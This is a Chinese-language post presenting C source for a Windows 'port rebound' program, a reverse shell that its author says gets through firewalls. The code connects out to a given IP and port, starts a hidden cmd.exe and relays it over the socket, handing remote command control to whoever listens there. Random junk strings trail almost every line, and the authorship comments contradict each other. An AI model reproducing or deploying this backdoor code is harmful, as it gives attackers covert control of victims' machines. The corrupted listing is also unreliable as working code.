Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 R[zN?  
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/* ============================== )P7ep  
Rebound port in Windows NT vu)EB!%[  
By wind,2006/7 oz=V|7,  
===============================*/ c@g(_%_|2  
#include F^/KD<cgK  
#include ^B1Ft5F`b  
i!
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#pragma comment(lib,"wsock32.lib") |@_<^cV110  
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void OutputShell(); Ub\^3f  
SOCKET sClient; w<H2#d>5!@  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; VLV]e_D6s  
y7/4u-_c  
void main(int argc,char **argv) JOG-i  
{ $e+4Kt ,  
WSADATA stWsaData; uD(C jHM>  
int nRet; CmXLD} L_x  
SOCKADDR_IN stSaiClient,stSaiServer; VWzQXo  
FdE?uw  
if(argc != 3) hrnE5=iY  
{ &Y^4>y%  
printf("Useage:\n\rRebound DestIP DestPort\n"); NxF:s,a6  
return; W!$U{=  
} x:0swZ5Z  
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WSAStartup(MAKEWORD(2,2),&stWsaData); d;<'28A  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); : jkO  
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stSaiClient.sin_family = AF_INET; OCu_v%G0  
stSaiClient.sin_port = htons(0); T;3qE1c  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); FS5iUH+5  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "8%$,rG1&  
{ 6am6'_{  
printf("Bind Socket Failed!\n"); wlP3 XF?  
return; r-YJ$/J  
} 7vXP|8j  
~~|Iw=:  
stSaiServer.sin_family = AF_INET; O[= L#wi  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); -ysNo4#e&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); H ~3.F  
d BB?A~  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) c/ImK`:)4a  
{ L+G0/G}O\  
printf("Connect Error!");  OLIMgc(W  
return; ZxSnqbyA*  
} QDW,e]A  
OutputShell(); SW%}S*h  
} 5eL b/,R  
E} ]=<8V  
void OutputShell() #/ePpSyD  
{ c*B< - l<5  
char szBuff[1024]; _IdW5G  
SECURITY_ATTRIBUTES stSecurityAttributes; `uMc.:5\  
OSVERSIONINFO stOsversionInfo; 3#'8S_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vE,^K6q0`  
STARTUPINFO stStartupInfo; hBRi5&%  
char *szShell; LU;zpXg\  
PROCESS_INFORMATION stProcessInformation; 05{}@tW-  
unsigned long lBytesRead; =v^#MU{k?  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); U2?R&c;b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [K,P)V>K  
stSecurityAttributes.lpSecurityDescriptor = 0; }F0<8L6%  
stSecurityAttributes.bInheritHandle = TRUE; m8PS84."]M  
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9)  
im9w|P5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Eoixw8hz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1#cTk  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ROn@tW  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UapU:>!"`  
stStartupInfo.wShowWindow = SW_HIDE; VqvjOeCbH  
stStartupInfo.hStdInput = hReadPipe; } r(b:}DN  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;^bfLSWm{  
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GetVersionEx(&stOsversionInfo); ),vDn}>  
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switch(stOsversionInfo.dwPlatformId) yYGs]+  
{ ~C^:SND7  
case 1: #<==7X#  
szShell = "command.com"; 3QBzyJWf  
break; .-iW T4Dn  
default: [/q Bvuun  
szShell = "cmd.exe"; r
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break; MvZa;B  
} /d}"s.3p  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); d'Bxi"K  
8#JX#<HEo  
send(sClient,szMsg,77,0); [u!n=ev  
while(1) ?2#'>B  
{ Cp/f18zO  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 2? yo  
if(lBytesRead) Z@dVK`nD  
{ wH!$TAZ:Yw  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j24 3oD  
send(sClient,szBuff,lBytesRead,0); mrRid}2  
} 66F?exr  
else 5b/ ~]v  
{ m-azd~r[  
lBytesRead=recv(sClient,szBuff,1024,0); ]w>o=<?b  
if(lBytesRead<=0) break; l3p :}A  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3s?u05_  
} NW5OLa")J<  
} Q;VuoHj!  
6 /YJA*  
return; Le?g,c  
}